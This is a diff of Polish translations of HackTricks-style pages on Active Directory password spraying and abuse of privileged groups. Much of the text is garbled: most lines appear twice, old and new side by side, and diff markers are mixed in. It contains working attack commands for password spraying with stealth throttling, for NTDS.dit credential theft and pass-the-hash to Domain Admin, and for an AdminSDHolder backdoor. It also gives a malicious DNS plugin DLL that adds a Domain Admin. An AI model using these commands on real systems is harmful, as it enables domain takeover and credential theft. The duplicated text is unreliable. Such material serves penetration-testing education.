netexec smb <DC_IP> --generate-hosts-file hosts && cat hosts /etc/hosts | sudo sponge /etc/hosts
# Spray a single candidate password against harvested users over SMB
netexec smb <DC_FQDN> -u users.txt -p 'Password123!' \
--continue-on-success --no-bruteforce --shares
# Validate a hit over WinRM (or use SMB exec methods)
netexec winrm <DC_FQDN> -u <username> -p 'Password123!' -x "whoami"
# Tip: sync your clock before Kerberos-based auth to avoid skew issues
sudo ntpdate <DC_FQDN>
```
- Korzystanie z [**kerbrute**](https://github.com/ropnop/kerbrute) (Go)
```bash ```bash
# Password Spraying # Password Spraying
./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123 ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com [--dc 10.10.10.10] domain_users.txt Password123
# Brute-Force # Brute-Force
./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman ./kerbrute_linux_amd64 bruteuser -d lab.ropnop.com [--dc 10.10.10.10] passwords.lst thoffman
``` ```
- [**spray**](https://github.com/Greenwolf/Spray) _**(możesz określić liczbę prób, aby uniknąć blokad):**_ - [**spray**](https://github.com/Greenwolf/Spray) _**(możesz wskazać liczbę prób, aby uniknąć zablokowań):**_
```bash ```bash
spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN> spray.sh -smb <targetIP> <usernameList> <passwordList> <AttemptsPerLockoutPeriod> <LockoutPeriodInMinutes> <DOMAIN>
``` ```
- Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIEZALECANE, CZASAMI NIE DZIAŁA - Używanie [**kerbrute**](https://github.com/TarlogicSecurity/kerbrute) (python) - NIE ZALECANE, CZASAMI NIE DZIAŁA
```bash ```bash
python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -passwords passwords.txt -outputfile jurassic_passwords.txt
python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt python kerbrute.py -domain jurassic.park -users users.txt -password Password123 -outputfile jurassic_passwords.txt
@ -67,9 +82,9 @@ for u in $(cat users.txt); do
rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority; rpcclient -U "$u%Welcome1" -c "getusername;quit" 10.10.10.10 | grep Authority;
done done
``` ```
#### Z systemu Windows #### Z Windows
- Z [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute: - Za pomocą [Rubeus](https://github.com/Zer1t0/Rubeus) w wersji z modułem brute:
```bash ```bash
# with a list of users # with a list of users
.\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file> .\Rubeus.exe brute /users:<users_file> /passwords:<passwords_file> /domain:<domain_name> /outfile:<output_file>
@ -77,7 +92,7 @@ done
# check passwords for all users in current domain # check passwords for all users in current domain
.\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file> .\Rubeus.exe brute /passwords:<passwords_file> /outfile:<output_file>
``` ```
- With [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może generować użytkowników z domeny oraz pobiera politykę haseł z domeny i ogranicza liczbę prób zgodnie z nią): - Z [**Invoke-DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray/blob/master/DomainPasswordSpray.ps1) (Domyślnie może wygenerować użytkowników z domeny, pobrać politykę haseł i ograniczyć próby zgodnie z nią):
```bash ```bash
Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose Invoke-DomainPasswordSpray -UserList .\users.txt -Password 123456 -Verbose
``` ```
@ -87,10 +102,10 @@ Invoke-SprayEmptyPassword
``` ```
### Zidentyfikuj i przejmij konta "Password must change at next logon" (SAMR) ### Zidentyfikuj i przejmij konta "Password must change at next logon" (SAMR)
Technika o niskim poziomie hałasu polega na sprayowaniu benign/empty password i wychwyceniu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co oznacza, że hasło zostało przymusowo wygaszone i można je zmienić bez znajomości poprzedniego. Technika niskiego poziomu hałasu polega na spray a benign/empty password i wykryciu kont zwracających STATUS_PASSWORD_MUST_CHANGE, co wskazuje, że hasło zostało wymuszone do wygaśnięcia i można je zmienić bez znajomości starego.
Przebieg: Workflow:
- Wyenumeruj użytkowników (RID brute via SAMR), aby zbudować listę celów: - Wykonaj enumerację użytkowników (RID brute via SAMR), aby zbudować listę celów:
{{#ref}} {{#ref}}
../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md ../../network-services-pentesting/pentesting-smb/rpcclient-enumeration.md
@ -99,12 +114,12 @@ Przebieg:
# NetExec (null/guest) + RID brute to harvest users # NetExec (null/guest) + RID brute to harvest users
netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt netexec smb <dc_fqdn> -u '' -p '' --rid-brute | awk -F'\\\\| ' '/SidTypeUser/ {print $3}' > users.txt
``` ```
- Spryskaj pustym hasłem i kontynuuj przy trafieniach, aby przejąć konta, które muszą zmienić hasło przy następnym logowaniu: - Użyj password spraying z pustym hasłem i kontynuuj po trafieniach, aby przejąć konta, które muszą zmienić hasło przy następnym logowaniu:
```bash ```bash
# Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results # Will show valid, lockout, and STATUS_PASSWORD_MUST_CHANGE among results
netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success netexec smb <DC.FQDN> -u users.txt -p '' --continue-on-success
``` ```
- Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExecs (stare hasło nie jest potrzebne, gdy ustawione jest "must change"): - Dla każdego trafienia zmień hasło przez SAMR za pomocą modułu NetExec (stare hasło nie jest potrzebne, gdy ustawione jest "must change"):
```bash ```bash
# Strong complexity to satisfy policy # Strong complexity to satisfy policy
env NEWPASS='P@ssw0rd!2025#' ; \ env NEWPASS='P@ssw0rd!2025#' ; \
@ -115,23 +130,23 @@ netexec smb <DC.FQDN> -u <User> -p "$NEWPASS" --pass-pol
``` ```
Uwagi operacyjne: Uwagi operacyjne:
- Upewnij się, że zegar hosta jest zsynchronizowany z DC przed operacjami opartymi na Kerberos: `sudo ntpdate <dc_fqdn>`. - Upewnij się, że zegar hosta jest zsynchronizowany z DC przed operacjami opartymi na Kerberos: `sudo ntpdate <dc_fqdn>`.
- Symbol [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są ważne, ale konto nie ma praw logowania interaktywnego. - Znak [+] bez (Pwn3d!) w niektórych modułach (np. RDP/WinRM) oznacza, że creds są prawidłowe, ale konto nie ma praw do logowania interaktywnego.
## Brute Force ## Brute Force
```bash ```bash
legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org legba kerberos --target 127.0.0.1 --username admin --password wordlists/passwords.txt --kerberos-realm example.org
``` ```
### Kerberos pre-auth spraying z ukierunkowaniem przez LDAP i throttlingiem uwzględniającym PSO (SpearSpray) ### Kerberos pre-auth spraying with LDAP targeting and PSO-aware throttling (SpearSpray)
Kerberos pre-authbased spraying zmniejsza szum w porównaniu do prób bind SMB/NTLM/LDAP i lepiej współgra z politykami blokowania AD. SpearSpray łączy ukierunkowanie oparte na LDAP, silnik wzorców i świadomość polityk (domain policy + PSOs + badPwdCount buffer), aby przeprowadzać spraying precyzyjnie i bezpiecznie. Może też oznaczać przejęte konta w Neo4j dla ścieżek BloodHound. Kerberos pre-authbased spraying zmniejsza hałas w porównaniu z próbami bind SMB/NTLM/LDAP i lepiej współgra z politykami lockout w AD. SpearSpray łączy LDAP-driven targeting, pattern engine oraz policy awareness (domain policy + PSOs + bufor badPwdCount), aby wykonywać spray precyzyjnie i bezpiecznie. Może też oznaczać przejęte principals w Neo4j dla ścieżek w BloodHound.
Key ideas: Key ideas:
- LDAP user discovery z paginacją i obsługą LDAPS, opcjonalnie z użyciem niestandardowych filtrów LDAP. - LDAP user discovery with paging and LDAPS support, optionally using custom LDAP filters.
- Domain lockout policy + filtrowanie uwzględniające PSO, aby zostawić konfigurowalny bufor prób (threshold) i unikać blokowania użytkowników. - Domain lockout policy + PSO-aware filtering to leave a configurable attempt buffer (threshold) and avoid locking users.
- Walidacja Kerberos pre-auth przy użyciu szybkich gssapi bindings (generuje 4768/4771 na DCs zamiast 4625). - Kerberos pre-auth validation using fast gssapi bindings (generates 4768/4771 on DCs instead of 4625).
- Generowanie haseł oparte na wzorcach, dla każdego użytkownika, z użyciem zmiennych takich jak imiona oraz wartości temporalne wyprowadzone z pwdLastSet każdego użytkownika. - Pattern-based, per-user password generation using variables like names and temporal values derived from each users pwdLastSet.
- Kontrola przepustowości za pomocą wątków, jittera i maksymalnej liczby żądań na sekundę. - Throughput control with threads, jitter, and max requests per second.
- Opcjonalna integracja z Neo4j do oznaczania przejętych użytkowników dla BloodHound. - Optional Neo4j integration to mark owned users for BloodHound.
Basic usage and discovery: Basic usage and discovery:
```bash ```bash
@ -144,7 +159,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# LDAPS (TCP/636) # LDAPS (TCP/636)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local --ssl
``` ```
Targetowanie i kontrola wzorców: Celowanie i kontrola wzorców:
```bash ```bash
# Custom LDAP filter (e.g., target specific OU/attributes) # Custom LDAP filter (e.g., target specific OU/attributes)
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local \
@ -153,7 +168,7 @@ spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local
# Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra} # Use separators/suffixes and an org token consumed by patterns via {separator}/{suffix}/{extra}
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -sep @-_ -suf !? -x ACME
``` ```
Kontrole stealth i bezpieczeństwa: Kontrole ukrycia i bezpieczeństwa:
```bash ```bash
# Control concurrency, add jitter, and cap request rate # Control concurrency, add jitter, and cap request rate
spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10 spearspray -u pentester -p Password123 -d fabrikam.local -dc dc01.fabrikam.local -t 5 -j 3,5 --max-rps 10
@ -176,27 +191,27 @@ Przegląd systemu wzorców (patterns.txt):
``` ```
Dostępne zmienne obejmują: Dostępne zmienne obejmują:
- {name}, {samaccountname} - {name}, {samaccountname}
- Temporal z pwdLastSet każdego użytkownika (lub whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en} - Wartości czasowe z każdego użytkownika: pwdLastSet (lub whenCreated): {year}, {short_year}, {month_number}, {month_en}, {season_en}
- Elementy pomocnicze kompozycji i token organizacji: {separator}, {suffix}, {extra} - Pomocnicze elementy kompozycji i token organizacji: {separator}, {suffix}, {extra}
Uwagi operacyjne: Uwagi operacyjne:
- Preferuj zapytania do PDC-emulator z -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z politykami. - Preferuj zapytania do PDC-emulator z użyciem -dc, aby odczytać najbardziej autorytatywne badPwdCount i informacje związane z polityką.
- Resety badPwdCount są wyzwalane przy następnym podejściu po oknie obserwacji; używaj progów i odpowiedniego rozłożenia w czasie, aby pozostać bezpiecznym. - Reset badPwdCount jest wyzwalany przy następnym podejściu po okresie obserwacji; stosuj progi i odpowiednie odstępy czasowe, aby zachować bezpieczeństwo.
- Próby pre-auth Kerberos pojawiają się jako 4768/4771 w telemetryce DC; używaj jitter i rate-limiting, aby się wtopić. - Próby Kerberos pre-auth pojawiają się jako 4768/4771 w DC telemetry; używaj jitter i rate-limiting, aby się wtopić.
> Wskazówka: SpearSprays default LDAP page size is 200; adjust with -lps as needed. > Wskazówka: Domyślny rozmiar strony LDAP w SpearSpray to 200; w razie potrzeby dostosuj za pomocą -lps.
## Outlook Web Access ## Outlook Web Access
Istnieje wiele narzędzi do p**assword spraying outlook**. Jest wiele narzędzi do p**assword spraying outlook**.
- Za pomocą [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/) - Za pomocą [MSF Owa_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_login/)
- Za pomocą [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/) - z [MSF Owa_ews_login](https://www.rapid7.com/db/modules/auxiliary/scanner/http/owa_ews_login/)
- Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodny!) - Za pomocą [Ruler](https://github.com/sensepost/ruler) (niezawodne!)
- Za pomocą [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell) - Za pomocą [DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray) (Powershell)
- Za pomocą [MailSniper](https://github.com/dafthack/MailSniper) (Powershell) - Za pomocą [MailSniper](https://github.com/dafthack/MailSniper) (Powershell)
Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / krótkiej listy passwords do sprayowania. Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników oraz password / a small list of passwords to spray.
```bash ```bash
./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose ./ruler-linux64 --domain reel2.htb -k brute --users users.txt --passwords passwords.txt --delay 0 --verbose
[x] Failed: larsson:Summer2020 [x] Failed: larsson:Summer2020
@ -215,7 +230,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o
- [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer) - [https://github.com/Rhynorater/Okta-Password-Sprayer](https://github.com/Rhynorater/Okta-Password-Sprayer)
- [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster) - [https://github.com/knavesec/CredMaster](https://github.com/knavesec/CredMaster)
## Referencje ## Źródła
- [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray) - [https://github.com/sikumy/spearspray](https://github.com/sikumy/spearspray)
- [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute) - [https://github.com/TarlogicSecurity/kerbrute](https://github.com/TarlogicSecurity/kerbrute)
@ -227,6 +242,7 @@ Aby użyć któregokolwiek z tych narzędzi, potrzebujesz listy użytkowników o
- [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296) - [www.blackhillsinfosec.com/?p=5296](https://www.blackhillsinfosec.com/?p=5296)
- [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying) - [https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying](https://hunter2.gitbook.io/darthsidious/initial-access/password-spraying)
- [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html) - [HTB Sendai 0xdf: from spray to gMSA to DA/SYSTEM](https://0xdf.gitlab.io/2025/08/28/htb-sendai.html)
- [HTB: Baby — Anonymous LDAP → Password Spray → SeBackupPrivilege → Domain Admin](https://0xdf.gitlab.io/2025/09/19/htb-baby.html)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,25 +4,25 @@
## Znane grupy z uprawnieniami administracyjnymi ## Znane grupy z uprawnieniami administracyjnymi
- **Administratorzy** - **Administrators**
- **Administratorzy domeny** - **Domain Admins**
- **Administratorzy przedsiębiorstwa** - **Enterprise Admins**
## Operatorzy kont ## Account Operators
Grupa ta ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do Kontrolera Domeny (DC). Ta grupa ma uprawnienia do tworzenia kont i grup, które nie są administratorami w domenie. Dodatkowo umożliwia lokalne logowanie do kontrolera domeny (DC).
Aby zidentyfikować członków tej grupy, wykonuje się następujące polecenie: Aby zidentyfikować członków tej grupy, wykonuje się następujące polecenie:
```bash ```bash
Get-NetGroupMember -Identity "Account Operators" -Recurse Get-NetGroupMember -Identity "Account Operators" -Recurse
``` ```
Dodawanie nowych użytkowników jest dozwolone, a także lokalne logowanie do DC01. Dozwolone jest dodawanie nowych użytkowników oraz lokalne logowanie do DC.
## Grupa AdminSDHolder ## Grupa **AdminSDHolder**
Lista Kontroli Dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ ustala uprawnienia dla wszystkich "chronionych grup" w Active Directory, w tym grup o wysokich uprawnieniach. Mechanizm ten zapewnia bezpieczeństwo tych grup, zapobiegając nieautoryzowanym modyfikacjom. Lista kontroli dostępu (ACL) grupy **AdminSDHolder** jest kluczowa, ponieważ ustala uprawnienia dla wszystkich „chronionych grup” w Active Directory, w tym grup o wysokich uprawnieniach. Ten mechanizm zabezpiecza te grupy, uniemożliwiając nieautoryzowane modyfikacje.
Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder**, przyznając pełne uprawnienia standardowemu użytkownikowi. To skutecznie dałoby temu użytkownikowi pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną automatycznie przywrócone w ciągu godziny z powodu konstrukcji systemu. Atakujący mógłby to wykorzystać, modyfikując ACL grupy **AdminSDHolder** i przyznając zwykłemu użytkownikowi pełne uprawnienia. Spowodowałoby to, że użytkownik miałby de facto pełną kontrolę nad wszystkimi chronionymi grupami. Jeśli uprawnienia tego użytkownika zostaną zmienione lub usunięte, zostaną one automatycznie przywrócone w ciągu godziny ze względu na sposób działania systemu.
Polecenia do przeglądania członków i modyfikowania uprawnień obejmują: Polecenia do przeglądania członków i modyfikowania uprawnień obejmują:
```bash ```bash
@ -30,31 +30,31 @@ Get-NetGroupMember -Identity "AdminSDHolder" -Recurse
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'} Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDs | ?{$_.IdentityReference -match 'spotless'}
``` ```
Dostępny jest skrypt, który przyspiesza proces przywracania: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1). Dostępny jest skrypt przyspieszający proces przywracania: [Invoke-ADSDPropagation.ps1](https://github.com/edemilliere/ADSI/blob/master/Invoke-ADSDPropagation.ps1).
Aby uzyskać więcej szczegółów, odwiedź [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence). Więcej informacji na [ired.team](https://ired.team/offensive-security-experiments/active-directory-kerberos-abuse/how-to-abuse-and-backdoor-adminsdholder-to-obtain-domain-admin-persistence).
## Kosz na AD ## AD Recycle Bin
Członkostwo w tej grupie umożliwia odczyt usuniętych obiektów Active Directory, co może ujawnić wrażliwe informacje: Członkostwo w tej grupie umożliwia odczyt usuniętych obiektów Active Directory, co może ujawnić wrażliwe informacje:
```bash ```bash
Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties * Get-ADObject -filter 'isDeleted -eq $true' -includeDeletedObjects -Properties *
``` ```
### Dostęp do Kontrolera Domeny ### Dostęp do kontrolera domeny
Dostęp do plików na DC jest ograniczony, chyba że użytkownik jest częścią grupy `Server Operators`, co zmienia poziom dostępu. Dostęp do plików na DC jest ograniczony, chyba że użytkownik należy do grupy `Server Operators`, co zmienia poziom uprawnień.
### Eskalacja Uprawnień ### Privilege Escalation
Używając `PsService` lub `sc` z Sysinternals, można sprawdzić i zmodyfikować uprawnienia usług. Grupa `Server Operators`, na przykład, ma pełną kontrolę nad niektórymi usługami, co pozwala na wykonywanie dowolnych poleceń i eskalację uprawnień: Używając `PsService` lub `sc` z Sysinternals, można sprawdzić i zmienić uprawnienia usług. Grupa `Server Operators`, na przykład, ma pełną kontrolę nad niektórymi usługami, co umożliwia wykonywanie dowolnych poleceń i privilege escalation:
```cmd ```cmd
C:\> .\PsService.exe security AppReadiness C:\> .\PsService.exe security AppReadiness
``` ```
To polecenie ujawnia, że `Server Operators` mają pełny dostęp, co umożliwia manipulację usługami w celu uzyskania podwyższonych uprawnień. To polecenie ujawnia, że `Server Operators` mają pełny dostęp, co umożliwia manipulowanie usługami w celu eskalacji uprawnień.
## Backup Operators ## Backup Operators
Członkostwo w grupie `Backup Operators` zapewnia dostęp do systemu plików `DC01` dzięki uprawnieniom `SeBackup` i `SeRestore`. Te uprawnienia umożliwiają przechodzenie przez foldery, wyświetlanie listy oraz kopiowanie plików, nawet bez wyraźnych uprawnień, przy użyciu flagi `FILE_FLAG_BACKUP_SEMANTICS`. Wykorzystanie konkretnych skryptów jest konieczne w tym procesie. Członkostwo w grupie `Backup Operators` zapewnia dostęp do systemu plików `DC01` z powodu uprawnień `SeBackup` i `SeRestore`. Te uprawnienia umożliwiają przeglądanie folderów, listowanie i kopiowanie plików, nawet bez jawnych uprawnień, przy użyciu flagi `FILE_FLAG_BACKUP_SEMANTICS`. W tym celu konieczne jest użycie odpowiednich skryptów.
Aby wyświetlić członków grupy, wykonaj: Aby wyświetlić członków grupy, wykonaj:
```bash ```bash
@ -62,9 +62,9 @@ Get-NetGroupMember -Identity "Backup Operators" -Recurse
``` ```
### Atak lokalny ### Atak lokalny
Aby wykorzystać te uprawnienia lokalnie, stosuje się następujące kroki: Aby wykorzystać te uprawnienia lokalnie, wykonuje się następujące kroki:
1. Importuj niezbędne biblioteki: 1. Zaimportuj niezbędne biblioteki:
```bash ```bash
Import-Module .\SeBackupPrivilegeUtils.dll Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll Import-Module .\SeBackupPrivilegeCmdLets.dll
@ -74,18 +74,18 @@ Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege Set-SeBackupPrivilege
Get-SeBackupPrivilege Get-SeBackupPrivilege
``` ```
3. Uzyskaj dostęp i skopiuj pliki z zastrzeżonych katalogów, na przykład: 3. Uzyskaj dostęp i skopiuj pliki z ograniczonych katalogów, na przykład:
```bash ```bash
dir C:\Users\Administrator\ dir C:\Users\Administrator\
Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite Copy-FileSeBackupPrivilege C:\Users\Administrator\report.pdf c:\temp\x.pdf -Overwrite
``` ```
### AD Attack ### Atak AD
Bezpośredni dostęp do systemu plików kontrolera domeny umożliwia kradzież bazy danych `NTDS.dit`, która zawiera wszystkie hashe NTLM dla użytkowników i komputerów w domenie. Bezpośredni dostęp do systemu plików kontrolera domeny pozwala na kradzież bazy `NTDS.dit`, która zawiera wszystkie hashe NTLM użytkowników i komputerów w domenie.
#### Using diskshadow.exe #### Korzystanie z diskshadow.exe
1. Create a shadow copy of the `C` drive: 1. Utwórz shadow copy dysku `C`:
```cmd ```cmd
diskshadow.exe diskshadow.exe
set verbose on set verbose on
@ -98,27 +98,35 @@ expose %cdrive% F:
end backup end backup
exit exit
``` ```
2. Skopiuj `NTDS.dit` z kopii zapasowej: 2. Skopiuj `NTDS.dit` z shadow copy:
```cmd ```cmd
Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit Copy-FileSeBackupPrivilege E:\Windows\NTDS\ntds.dit C:\Tools\ntds.dit
``` ```
Alternatywnie, użyj `robocopy` do kopiowania plików: Alternatywnie użyj `robocopy` do kopiowania plików:
```cmd ```cmd
robocopy /B F:\Windows\NTDS .\ntds ntds.dit robocopy /B F:\Windows\NTDS .\ntds ntds.dit
``` ```
3. Wyodrębnij `SYSTEM` i `SAM` w celu odzyskania haszy: 3. Wyodrębnij `SYSTEM` i `SAM` w celu pobrania hashów:
```cmd ```cmd
reg save HKLM\SYSTEM SYSTEM.SAV reg save HKLM\SYSTEM SYSTEM.SAV
reg save HKLM\SAM SAM.SAV reg save HKLM\SAM SAM.SAV
``` ```
4. Pobierz wszystkie hashe z `NTDS.dit`: 4. Pobierz wszystkie hashes z `NTDS.dit`:
```shell-session ```shell-session
secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL secretsdump.py -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL
``` ```
#### Używanie wbadmin.exe 5. Po ekstrakcji: Pass-the-Hash do DA
```bash
# Use the recovered Administrator NT hash to authenticate without the cleartext password
netexec winrm <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> -x "whoami"
# Or execute via SMB using an exec method
netexec smb <DC_FQDN> -u Administrator -H <ADMIN_NT_HASH> --exec-method smbexec -x cmd
```
#### Użycie wbadmin.exe
1. Skonfiguruj system plików NTFS dla serwera SMB na maszynie atakującej i zbuforuj poświadczenia SMB na maszynie docelowej. 1. Skonfiguruj system plików NTFS dla serwera SMB na maszynie atakującej i zbuforuj poświadczenia SMB na maszynie docelowej.
2. Użyj `wbadmin.exe` do tworzenia kopii zapasowej systemu i ekstrakcji `NTDS.dit`: 2. Użyj `wbadmin.exe` do wykonania kopii zapasowej systemu i wyodrębnienia `NTDS.dit`:
```cmd ```cmd
net use X: \\<AttackIP>\sharename /user:smbuser password net use X: \\<AttackIP>\sharename /user:smbuser password
echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds echo "Y" | wbadmin start backup -backuptarget:\\<AttackIP>\sharename -include:c:\windows\ntds
@ -126,23 +134,29 @@ wbadmin get versions
echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl echo "Y" | wbadmin start recovery -version:<date-time> -itemtype:file -items:c:\windows\ntds\ntds.dit -recoverytarget:C:\ -notrestoreacl
``` ```
Aby zobaczyć praktyczną demonstrację, zobacz [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s). For a practical demonstration, see [DEMO VIDEO WITH IPPSEC](https://www.youtube.com/watch?v=IfCysW0Od8w&t=2610s).
## DnsAdmins ## DnsAdmins
Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnego DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na kontrolerach domeny. Ta zdolność pozwala na znaczny potencjał do eksploatacji. Członkowie grupy **DnsAdmins** mogą wykorzystać swoje uprawnienia do załadowania dowolnej DLL z uprawnieniami SYSTEM na serwerze DNS, często hostowanym na Domain Controllers. Ta możliwość daje znaczny potencjał do wykorzystania.
Aby wyświetlić członków grupy DnsAdmins, użyj: Aby wyświetlić członków grupy DnsAdmins, użyj:
```bash ```bash
Get-NetGroupMember -Identity "DnsAdmins" -Recurse Get-NetGroupMember -Identity "DnsAdmins" -Recurse
``` ```
### Wykonaj dowolny DLL ### Execute arbitrary DLL (CVE202140469)
Członkowie mogą sprawić, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udostępnienia) za pomocą poleceń takich jak: > [!NOTE]
> Ta luka umożliwia wykonanie dowolnego kodu z uprawnieniami SYSTEM w usłudze DNS (zazwyczaj na DCs). Problem został naprawiony w 2021 roku.
Members mogą spowodować, że serwer DNS załaduje dowolny DLL (lokalnie lub z zdalnego udziału), używając poleceń takich jak:
```bash ```bash
dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll
dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll
An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage: An attacker could modify the DLL to add a user to the Domain Admins group or execute other commands with SYSTEM privileges. Example DLL modification and msfvenom usage:
# If dnscmd is not installed run from aprivileged PowerShell session:
Install-WindowsFeature -Name RSAT-DNS-Server -IncludeManagementTools
``` ```
```c ```c
@ -158,90 +172,94 @@ system("C:\\Windows\\System32\\net.exe group \"Domain Admins\" Hacker /add /doma
// Generate DLL with msfvenom // Generate DLL with msfvenom
msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll msfvenom -p windows/x64/exec cmd='net group "domain admins" <username> /add /domain' -f dll -o adduser.dll
``` ```
Restartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest konieczne, aby DLL mogła zostać załadowana: Zrestartowanie usługi DNS (co może wymagać dodatkowych uprawnień) jest konieczne, aby plik DLL został załadowany:
```csharp ```csharp
sc.exe \\dc01 stop dns sc.exe \\dc01 stop dns
sc.exe \\dc01 start dns sc.exe \\dc01 start dns
``` ```
Dla uzyskania dalszych informacji na temat tego wektora ataku, odwołaj się do ired.team. Po więcej szczegółów na temat tego wektora ataku zobacz ired.team.
#### Mimilib.dll #### Mimilib.dll
